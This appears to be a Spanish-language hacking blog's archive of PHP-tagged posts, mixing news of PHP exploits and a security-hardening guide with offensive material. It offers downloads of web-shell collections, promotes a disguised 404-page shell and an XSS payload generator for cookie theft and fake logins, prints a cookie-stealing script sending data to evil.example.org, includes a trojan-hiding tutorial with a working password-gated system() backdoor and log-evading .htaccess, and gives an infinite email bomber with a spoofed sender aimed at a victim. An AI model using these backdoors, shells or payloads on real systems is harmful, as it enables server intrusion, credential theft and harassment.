Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas
Mostrando entradas con la etiqueta PHP. Mostrar todas las entradas

26 may. 2012

[Exploit] Vulnerabilidad en la función "com_print_typeinfo" de PHP en Windows

Se ha publicado un exploit para PHP 5.4.3 en Windows, que se aprovecha de una vulnerabilidad en la función "com_print_typeinfo" de PHP. Con esta vulnerabilidad se puede aprovechar el motor PHP para ejecutar el código malicioso o una shell en el servidor.

Este exploit no es explotable de forma remota. Se requiere que el atacante cargue código PHP en el servidor, y en ese momento, el atacante podría usar la función "exec" para ejecutar comandos.

6 may. 2012

Grave vulnerabilidad en PHP-CGI permite ejecutar código remoto en Apache

Las sitios afectados son servidores web con PHP ejecutándose como CGI.

Eindbazen, un equipo de competiciones CTF, ha descubierto una vulnerabilidad en PHP-CGI (CVE-2012-1823) que permite pasar parámetros al intérprete de PHP, como -s o -r, a través de la URL. Por ejemplo añadiendo la cadena '?-s'.


Como resultado de la inyección de estos parámetros en la URL, se puede mostrar el contenido de archivos de código fuente (que puede incluir información confidencial como, por ejemplo, contraseñas de BBDD) o ejecutar código PHP arbitrario.

12 abr. 2012

Shells, sh3lls & más 5H3LL5


Como me han pedido bastante por mail, decido poner una pequeña colección de shells que tenía, son 147 y muchas me gustan bastante, vienen en *.txt, ustedes le pondrán el *.php y las pueden ofuscar (encriptar) si desean.
Password: www.blackploit.com

* Le puse password para que no me las borren de los uploaders, y para que sus antivirus no se disparen cuando lo descarguen.

Bueno, también existe un repositorio de shells muy bueno donde han subido muchas shells y por lenguaje, se las dejo a continuación para que las vean:

1 mar. 2012

Tabla de comparación de sentencias en PHP, Perl, Python & Ruby

 
Me he encontrado con una excelente tabla donde nos muestran las mismas sentencias (operadores, separadores, matrices, declaración de variables, funciones, operadores lógicos, etc...) en 4 lenguajes de programación: PHP, Perl, Python y Ruby.

Muy útil si saben uno de los cuatro lenguajes y quieren aprender uno de los otros tres.

13 dic. 2011

[Shell PHP] Error 404 Privada


Los chicos de www.subhashdasyam.com han hecho una Shell en PHP que la he encontrado bastante ingeniosa, útil y me ha gustado mucho. No necesita una ser detallada muy a fondo, ya que es como una Shell normal, solo que cuando uno intenta acceder aparece el clásico Error 404 - Not Found, pero tiene un  casilla secreta donde puedes poner una contraseña para acceder.

La contraseña por defecto es HACKED pero la pueden cambiar modificando la linea 4 en donde tienen que cambiar el hash MD5 que aparece por el hash MD5 de la contraseña que ustedes consideren.

11 mar. 2011

46 shells

Bueno... estaba revisando mi computador antes de formatearlo y me encuentro con una cantidad impresionante de Shells que había coleccionado a lo largo del tiempo, así que he decido postearlas ya que todavía son muy usadas al momento de tener acceso a un servidor. Es muy típico como deporte encontrar sitios webs vulnerables y subir la Sheel sin un fin claro...


Quizás también les pueda interesar a aquellos que quieran emprender el camino de programar su propia shell y así buscar funciones en este montón de shells...

5 ago. 2010

[XCampo] Máximo provecho a un XSS

Bueno, navegando me encuentro con una llamativa herramienta, XCampo, que sirve en resumen para generar payloads XSS. Bueno, que mejor que la mismísima explicación del autor:
Basicamente es un generador de payloads XSS para incluir en demos, informes o charlas. Ni que negar tiene que tambien se podrian usar en algun ataque real, pero no es la idea principal. Como los ataques XSS nunca son iguales (unas veces te filtran una serie de caracteres, otras tienes que “escapar” de una zona de codigo HTML que te molesta para incluir tu codigo, etc.) me he limitado a generar el Javascript mas parco y generalista que he podido/sabido y que luego habra que adaptar a las necesidades de la vulnerabilidad. Por ahora genera los siguientes ataques:
  • Fake login: Genera un div sobre el resto de la pagina con un campo de login falso. Los datos se envian al sitio web que nosotros queramos y ya ahi somos responsables de hacer lo que queramos con el usuario.
  • hax0r defacement: Intenta poner un div sobre toda la pagina, incluir un texto e incluso reproducir una cancion. Este modulo tengo que mejorarlo, pero creo que es el que menos usara la gente………… o no ;)
  • Form redirection: Muy util en ataques XSS que se encuentran en las paginas de login. Cambia el evento action de todos los forms a la direccion que le digamos. Ademas elimina cualquier tipo de Javascript de validacion que existiera, por si acaso!
  • Password managers: La idea es, haciendo uso de Javascript, robar la informacion que los navegadores autocompletan cuando hemos guardado el usuario y contraseña en una pagina. Por ahora solo esta implementado el de Internet Explorer, pero el de Firefox no seria dificil de hacer.
  • Session cookies: Lo mas tipico! Podemos enviar las cookies de un navegador hacia el dominio que queramos. Ademas existen tres maneras de hacerlo:

    • iframe
    • img
    • pop-up
Ademas cada uno de estos payloads, cuando es posible, puede usar la funcion de eliminar las comillas, evitando los filtros que pudiera haber a costa de ampliar el tamaño del codigo generado.
La instalación es bastante simple, solamente tienen que subirlo a un host.

Descarga de XCampo

Web: https://equilibrioinestable.wordpress.com/

7 may. 2010

Manual PHP

Bueno... navegando por ahí me encuentro con un manual de PHP bastante bueno, parte de lo más básico llegando a un nivel avanzado. Lectura recomendad 100% ya que PHP es unos de los lenguajes de programación más importantes y usados en ámbito web.

El Manual en formato PDF y doc:

De pasada también dejo este programa llamado MAGUMA para que vallan practicando, maguma es un editor PHP que nos permite ver paso a paso lo que esta haciendo el código php y descubrir los fallos que nos puedan surgir.


Descarga MAGUMA Studio 1.3.3

Si no confiáis del link puedes descargarlo de la web oficial:
http://www.maguma.com/

Fuente: http://reactos.diosdelared.com/

26 abr. 2010

Seguridad en PHP

Escribir aplicaciones PHP no es extremadamente difícil. Pero muchos olvidan los aspectos de seguridad que deben ser tenidos en cuenta al implementar estas aplicaciones.

A veces no se piensa en el daño que puede sufrir un sitio web hasta que ya es demasiado tarde.

Se debe empezar a diseñar con cabeza y no ser meros robots codificando. Veamos un poco más a fondo las posibles amenazas y recomendaciones para hacer que nuestro sitio web sea un poco más seguro.

Inyección SQL

Este ataque se produce cuando un atacante ejecuta sentencias SQL en la base de datos del sitio web, insertando en un campo del formulario sentencias SQL dentro de otra sentencia SQL haciendo que se ejecute la sentencia invasora.

Se recomienda:
  • Filtrar los datos. Por ejemplo, si tenemos en nuestro formulario el campo username, y sabemos que los usuarios sólo pueden estar compuestos por letras y números, no se deben permitir caracteres como " ' " o " = " . O si se trata del campo e-mail, podemos utilizar expresiones regulares para validarlo, como preg_match('/^.+@.+\..{2,3}$/',$_POST['email'])
  • Usar funciones que escapan caracteres especiales de una cadena para su uso en una sentencia SQL, como mysql_real_escape_string(), la cual coloca barras invertidas antes de los siguientes caracteres: \x00, \n, \r, \, ', " y \x1a. O addslashes(), (la directiva de PHP magic_quotes_gpc está activada por defecto, y básicamente ejecuta la función addslashes() en todos los datos GET, POST, y COOKIE. No se debe utilizar addslashes() en las cadenas que ya se han escapado con magic_quotes_gpc ya que se hará un doble escape).

XSS (Cross Site Scripting)


Las vulnerabilidades de XSS permiten ejecutar código de scripting en el contexto del sitio web:
  • Explotando la confianza que tiene un usuario de un sitio web. Puede que los usuarios no tengan un alto nivel de confianza en un sitio web, pero sí el navegador. Por ejemplo, cuando el navegador envía cookies en una petición.
  • Haciendo que los sitios web muestren datos externos. Como aplicaciones de mayor riesgo que incluyen foros, clientes de correo web, o contenido de RSS.
  • Cuando los datos externos no se filtran adecuadamente un atacante puede inyectar un contenido. Esto es tan peligroso como dejar que el atacante edite código en el servidor.
Un usuario que ejecute este código con JavaScript activado en su navegador será redireccionado a evil.example.org, y las cookies asociadas al sitio web serán incluidas en la consulta:
<script>document.location = 
'http://evil.example.org/steal_cookies.php?cookies=' + 
document.cookie</script>
Se recomienda:
  • Filtrar todos los datos externos. El filtrado de datos es la práctica más importante que se puede adoptar. Al validar todos los datos externos a medida que entran y salen de la aplicación se mitigarán la mayoría de las preocupaciones del XSS.
  • Utilizar las funciones que tiene PHP que ayudan al filtrado. Pueden ser útiles htmlentities () que convierte caracteres a entidades HTML, strip_tags () que elimina las etiquetas HTML y PHP de una cadena y utf8_decode ().
  • Basarse en listas blancas. Supongamos que los datos no son válidos hasta que no se pruebe que lo son. Esto implica verificar la longitud y asegurar que sólo los caracteres válidos son permitidos. Por ejemplo, si se inserta el nombre y apellidos, se debe asegurar que sólo se permiten letras y espacios. Por ejemplo Berners-Lee se consideraría nula, pero esto se puede arreglar añadiendo este nombre a la lista blanca. Es mejor rechazar datos válidos que aceptar datos maliciosos.
  • Utilizar una convención de nomenclatura estricta. Una convención de nomenclatura puede ayudar a los desarrolladores a distinguir entre datos filtrados y sin filtrar.

CSRF (Cross Site Request Forgery)

Explota la confianza que tiene un sitio web en la identidad de un usuario.

Un ejemplo sería enviar los siguientes datos en la petición:
GET  /buy.php?symbol=SCOX&amp;quantity=1000 HTTP/1.1
Host:  stocks.example.org
User-Agent: Mozilla/5.0 Gecko
Accept: text/xml,  image/png, image/jpeg, image/gif, */*
Cookie: PHPSESSID=1234
Se recomienda:
  • Utilizar POST en lugar de GET en los formularios. Sobre todo cuando se esté realizando una acción que involucra una compra.
  • Utilizar $_POST en lugar de confiar en register_globals. Utilizar el método POST es inútil si se confía en register_globals y se referencian variables como $symbol o $quantity. Lo mismo sucede si se utiliza $_REQUEST.
  • Generar un token único para cada petición y verificarlo posteriormente.
Directory Transversal

Este ataque se produce cuando se especifican rutas de ficheros como "../../../../file" en los datos del formulario y mediante un script se llama a estos ficheros. Proporcionando a un atacante la posibilidad de realizar cambios en el sistema de ficheros.

Si dentro del script de PHP se incluye: require $page . '.php'; Sabiendo que esta página se almacena en /home/someone/public_html/index.php, un atacante podría hacer index.php?page=../secret accediendo a /home/someone/secret.php

Se recomienda:
  • Tener un array de páginas válidas.
  • Comprobar que el archivo solicitado coincide con un formato concreto.

RFI (Remote File Inclusion)


Como su nombre indica, se produce cuando se incluye un archivo remoto.

Por ejemplo, si existe un archivo en la ruta http://example.com/malice.php y nuestro script se encuentra en http://site.com/index.php. Un atacante puede hacer esta petición: http://site.com/index.php?page=http://example.com/malice lo que provocará que el archivo se ejecute y escriba un nuevo fichero en disco. Pudiendo ser este fichero una shell que permita la ejecución de comandos.

O por ejemplo, asignar a page el valor http://example.com/malice.php? seguido de una consulta a base de datos.

Se recomienda:
  • No confiar en los datos que no provengan de nuestro sistema.
  • Se deben validar los datos que introduce el usuario.

Seguridad en sesiones


Las sesiones y las cookies pueden ser usadas para comprometer las cuentas de los usuarios. Cuando se almacena una cookie en el ordenador esta puede ser modificada por el usuario.

Se recomienda:
  • Cambiar el identificador de la sesión a menudo. Utilizando la función session_regenerate_id() se reduce la posibilidad de que el identificador sea interceptado.
  • Usando versiones PHP5.2 o posteriores se puede denegar al Javascript del navegador el acceso a la cookie activando el flag httponly.
Esta es una pequeña muestra de recomendaciones que hará que nuestra aplicación PHP sea algo más segura.

[+] PHP Security Consortium
[+] PHP Freaks
[+] PHP Security & SQL Security. Acunetix


Fuente: http://www.securitybydefault.com/

2 abr. 2010

Enviar un correo con Adjunto en PHP

Como dice el título de la entrada, hoy abarcaremos de tema como enviar un correo con un adjunto en PHP, mediante la función mail() y editando los headers del correo.

Para lograr esto necesitamos especificar el tipo MIME multipart/mixed y convertir los adjuntos a Base64.

Primero generamos una semilla única, basado en el MD5 del tiempo actual:
$semilla = md5(date('r', time()));

Luego el destinatario y asunto:
$para = "yo@micorreo.com";
$asunto = "Correo con adjunto";

Ahora los headers del correo:
$headers = "From: alguien@algo.com\r\nReply-To: alguien@algo.com";
$headers .= "\r\nContent-Type: multipart/mixed; boundary=\"PHP-mixed-".$semilla."\"";

Ahora convertimos el adjunto a base 64:
$adjunto= chunk_split(base64_encode(file_get_contents("adjunto.zip")));

Ahora escribimos nuestro correo:
$correo = "
--PHP-mixed-$semilla;
Content-Type: multipart/alternative; boundary='PHP-alt-$semilla'
--PHP-alt-$semilla
Content-Type: text/plain; charset='iso-8859-1'
Content-Transfer-Encoding: 7bit

Nuestro correo en versión de texto plano

--PHP-alt-$semilla
Content-Type: text/html; charset='iso-8859-1'
Content-Transfer-Encoding: 7bit

<h2>Contenido HTML!</h2>
<p>Aqui ponemos nuestra version <b>HTML</b> de nuestro correo.</p>

--PHP-alt-$semilla--

--PHP-mixed-$semilla
Content-Type: application/zip; name=adjunto.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment 

$adjunto
--PHP-mixed-$semilla--";

Como pueden ver en la linea 10 y 19 se especifica que tipo de correo acepta el cliente, ya sea HTML o texto plano, así que definimos 2 mensajes uno sin formato el de la linea 10-18 y uno en formato HTML lineas 10 – 17.

A partir de la linea 20 se especifica el nombre del adjunto, su encodificación y finalmente el archivo que esta definido como la variable $adjunto

Ahora la última parte es estructurar el correo de la siguiente manera:
echo @mail($para, $asunto, $correo, $headers);

Y así es como quedaría el código finalmente:
$semilla = md5(date('r', time()));
$para = "yo@micorreo.com";
$asunto = "Correo con adjunto";
$headers = "From: alguien@algo.com\r\nReply-To: alguien@algo.com";
$headers .= "\r\nContent-Type: multipart/mixed; boundary=\"PHP-mixed-".$semilla."\"";
$adjunto= chunk_split(base64_encode(file_get_contents("adjunto.zip")));
$correo = "
--PHP-mixed-$semilla;
Content-Type: multipart/alternative; boundary='PHP-alt-$semilla'
--PHP-alt-$semilla
Content-Type: text/plain; charset='iso-8859-1'
Content-Transfer-Encoding: 7bit

Nuestro correo en versión de texto plano

--PHP-alt-$semilla
Content-Type: text/html; charset='iso-8859-1'
Content-Transfer-Encoding: 7bit

<h2>Contenido HTML!</h2>
<p>Aqui ponemos nuestra version <b>HTML</b> de nuestro correo.</p>

--PHP-alt-$semilla--

--PHP-mixed-$semilla
Content-Type: application/zip; name=adjunto.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment 

$adjunto
--PHP-mixed-$semilla--";
echo @mail($para, $asunto, $correo, $headers);

Se puede editar fácilmente para integrar con un formulario o algo así, pero de eso hablaremos luego!

Recuerden que el código es de contenido didáctico solamente!

Fuente: http://kernelerror.net/

31 mar. 2010

Introducción a los troyanos en PHP

|=------------------------------------------------------------------------------=|
|=-----------------=[Introducción a los troyanos en php]=-----------------------=|
|=---------------------------=[ 28 enero 2010 ]=--------------------------------=|
|=------------------------=[  Por shad0w_crash  ]=------------------------------=|
|=-----------------------=[  Traducido por seth  ]=-----------------------------=|
|=------------------------------------------------------------------------------=|

Indice


1) Introducción
2) Suposiciones
3) Encriptación del código
4) Ocultamiento de la petición
5) Inyección
6) Medidas
7) Contacto


Adjunto 1: Troyano sencillo en php
Adjunto 2: .htaccess



1. Introducción
Este es mi segundo tutorial así que sentite libre de enviarme comentarios. El objetivo de este texto es proveer un poco de teoría sobre la creación de troyanos en lenguajes de scripting (en este caso php). No todos los ejemplos están completamente discutidos, así que hay lugar para el debate.
Todo el tema de escribir troyanos es un gran tabú, espero que escribiendo este documento pueda haber un poco de discusión. No quiero quiero que los sitios web sean infectados por troyanos, por eso escribí un montón en pseudo código y no hice una versión que funcione (por favor, no hagas una).



2. Suposiciones
Para lograr un troyano en php menos detectable, tenemos algunas dificultades:

* Cuando accedés a el, la petición aparece en los archivos de log.
* Cuando aparece un archivo adicional en el directorio web, puede a ser detectado por alguien.
* Cuando agregás código a un index, lo puede ver un programador.
* Cuando agregás código a un index, este va a ser sobrescrito en la próxima actualización.

Este texto no va a solucionar todos esos problemas. Para dar una mejor visión general hice algunas suposiciones:

* Cuando se actualiza una aplicación web y todos los archivos son reemplazados, probablemente se den cuenta de que algo le pasó al código y tu troyano no va a durar mucho tiempo. Para hacer mejores troyanos, no tenes que estar en este nivel del sistema operativo.
* Si el webmaster calcula los hashes de los archivos y los compara periódicamente, los métodos descritos no van a funcionar (se que se puede solucionar encontrando colisiones pero eso es muy complicado).
* El webmaster no puede crackear (T)DES, GOST, AES, etc.



3. Encriptación del código
Para crear un troyano en PHP dificil de detectar, necesitamos tener uno que funcione para usarlo de base (ver adjunto 1). El funcionamiento de este troyano menos detectable es encriptando el original. El código encriptado es guardado en una función (desde ahora la vamos a llamar f1) que:

1) Desencripta el archivo y lo pone en un .php con nombre aleatorio.
2) Envia la petición original a ese archivo temporal.
3) Elimina el archivo.

Con esto solucionamos algunos problemas. El programador no conoce y no puede conocer que hace la función. Tampoco lo van a hacer las herramientas que analizan el código, porque la unica forma es desencriptando la cadena, con la contraseña. También f1 puede ser insertado en index.php, indicando que la función solo debe ser ejecutada si una variable específica está activada (si no, todas las peticiones al archivo invocarian al troyano).

El mejor lugar para poner esta función son archivos como newsletter.php y login.php, ya que los archivos de librerias y el index son actualizados frecuentemente.



4. Ocultamiento de la petición
Un desafió que quedó, es evitar que todas las peticiones aparezcan en los logs. Voy a diferenciar dos peticiones, la primera es al archivo que contiene f1 y la segunda es la que f1 le hace al archivo temporal desencriptado.

Cuando ves una petición http normal hay mucha mas información que solo el GET o el POST. Pueden ser usadas un monton de cabeceras como Accept-Language, User-Agent, etc [1]. Usando getallheaders() podes verlas todas. Tenemos dos opciones:
* Extender nuestra petición con un nuevo valor (violando el RFC, pero con menos chances de que aparesca en los logs.
* Usar un valor elejido para algo en el RFC (y abusarlo, entonces hay mas chances de que un IDS lo detecte)

La función ahora puede obtener sus variables para autentificarse y ejecutar el proceso interno.
** ADVERTENCIA ** esto es seguridad por oscuridad. Es posible sniffear y repetir el ataque. Incluso cuando el servidor usa ssl, hay posibilidades de que el administrador haya puesto una herramienta que lo registre. Entonces, el podria repetir el ataque y darse cuenta de que hay un troyano.
Para evitar esto tenemos que enviar una variable extra al servidor un nuevo hash sha512 que reemplace al anterior. Así seria imposible repetir el ataque porque la contraseña funciona una sola vez.
La segunda petición es mas facil de esconder, para eso vamos a extender f1:
1) Crea un directorio con nombre aleatorio.
2) Escribe el .htaccess en ese directorio.
3) Desencripta el troyano en un archivo temporal con nombre aleatorio, en el directorio anterior.
4) Envia la petición original al archivo temporal.
5a) Elimina el archivo temporal
5b) Elimina el .htaccess
5c) elimina el directorio
De esta forma, no van a quear rastros en el log de acceso.



5. Inyección
Ahora que sabemos como esconder el troyano y como ocultarlo (lo mas posible), necesitamos un lugar para guardarlo. Al principio mencioné que puede estar en index.php o algun archivo similar, pero hay formas mas eficientes. Vamos a crear un script que haga lo siguiente:

1) Buscar una llamada a la función include()
2a) Tomar aleatoriamente dos archivos de los que se incluyen
2b) Si no se encuentran, se trabaja sobre el archivo actual
3) Buscar en el archivo variables de f1
4a) Si no coincide, insertar f1
4b) Si coincide, reemplazar variables en f1 y despues insertar la función



6. Medidas
Lo mejor que podes hacer para no ser infectado por un troyano web es mantener el software actualizado. Cuando tu sitio no es explotable, hay menos posibilidades de ser infectado. También, podes crear una lista con hashes de los archivos, guardarla en una computadora remota y compararlos periódicamente. De esta forma te vas a enterar de los cambios en los archivos.


7. ContactoSi tenes algo que añadir, simplemente copiá el texto y envialo al sitio de donde lo sacaste. Para contactarme: http://twitter.com/shad0w_crash (NdT: el habla en inglés, para contactarme a mi http://elrincondeseth.wordpress.com/ o "xd punto seth ar@ro@ba gmail p.u.n.t.o com")



Attach 1: Most easy PHP trojan.

Adjunto 1: Troyano sencillo en PHP.
error_reporting(0);

<?php
error_reporting(0); 
$action = $_GET['cmd'];
$pw = $_GET['pw']; 
$password = "7a3b4197c700b7a94efef0a0590f465664ff210e120156a8c70913c1302fc06fa1bc85cffbf2fb113f99323f08e91489dd4531a0c3657b22fdc065f87b799f5b";
/* Remove this line!, password= Hasdf4g */
if( hash('sha512',$pw) == $password)
{
 echo system($cmd); 
}
?>

Attach 2: .Htaccess.

Adjunto 2: .htaccess.

SetEnvIf Request_URI "^/tmpdir/tempfile\.php$" dontlog
<Limit GET POST HEAD>
order deny,allow
deny from all
allow from 127.0.0.1 (or the remote ip of the server).
</Limit>

La primer regla evita los logs de acceso para el archivo.
La segunda solo permite peticiones por el servidor mismo.


[1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html

Fuente: http://www.exploit-db.com/

6 sept. 2009

Manual Joomla

Joomla! está calificada como C.M.S o Content Management System, sistema de administración de contenidos y entre sus principales virtudes permite editar el contenido de un sitio web de manera sencilla. Es una aplicación de código abierto construida mayoritariamente en PHP bajo una licencia GPL. Este administrador de contenidos puede trabajar en Internet o intranets y requiere de una base de datos MySQL, así como preferiblemente, de un servidor HTTP Apache.

Aquí un buen tutorial para esta herramienta (sistema de administración web) que está bastante completo para quienes no conocen nada de Joomla o para los principiantes. Sin duda lectura obligatoria para los administradores web.

Descarga (Directa)
Descarga MEGAUPLOAD
Descarga RapidShare

Fuente: http://www.lpmagazine.org/
Autor: Sergio Viteri

26 ago. 2009

E-mail Bomber en PHP


Bien.. la imagen es bastante clara pero entremos a explicar un poco...
<?php
$i=1;
do {
mail("tu_victima@hotmail.com", "Asunto del tema", "Aquí el mensaje", "Blackploit@gmail.com");
} While ($i > 0);
?>

Lo que hace este simple código en PHP es generar un un loop infinito ya que el while se va mantener siempre y cuando que i sea mayor a 0, osea siempre porque i es 1.
do {
Código que se repite infinitas veces...
} While ($i > 0);

Después está la función mail (aunque no lo crean sirve para enviar e-mails :O).
mail("tu_victima@hotmail.com", "Asunto del tema", "Aquí el mensaje", "Blackploit@gmail.com");

tu_victima@hotmail.com= el mail de la persona a la cual envías el mail.
Asunto del tema= El asunto de tu mail.
Aquí el mensaje= Aquí se pone el mensaje en formato texto que quieras enviarle (si quieres enviarle HTML investiga más, pero espero explicar pronto).
Blackploit@gmail.com= Aquí va el e-mail del que supuestamente lo envía... surge la pregunta ¿Puedo suplantar cualquier mail?... La respuesta es SÍ. Pueden poner cualquier mail aunque no exista (eso es lo único que está mal en la imagen ya que dice que tiene que existir... FALSO)

Una vez que modifican su código para lo que uds quieran, lo tienen que subir a un hosting que soporte PHP (yo creo que todos XD) y SMTP (el hosting que yo uso me restringe a 150 mails XS), lo ejecutan y listooo... Se van a enviar infintos e-mails a una velocidad impresionante.

Bien... Cabe destacar que esté es un code muy simple y que los principales servidores de mensajería instantanea (GMail y Hotmail) detectan el emisor del email y los adjuntan como 1 solo mensaje, pero prometo subir otro code que con un random cambia el emisor y llegan como e-mails independientes a la bandeja de entrada (osea dejan la grande... XD).

Fuente: No me acuerdo de donde saqué la imagen XS.

Esop... SAlu2
ZioneR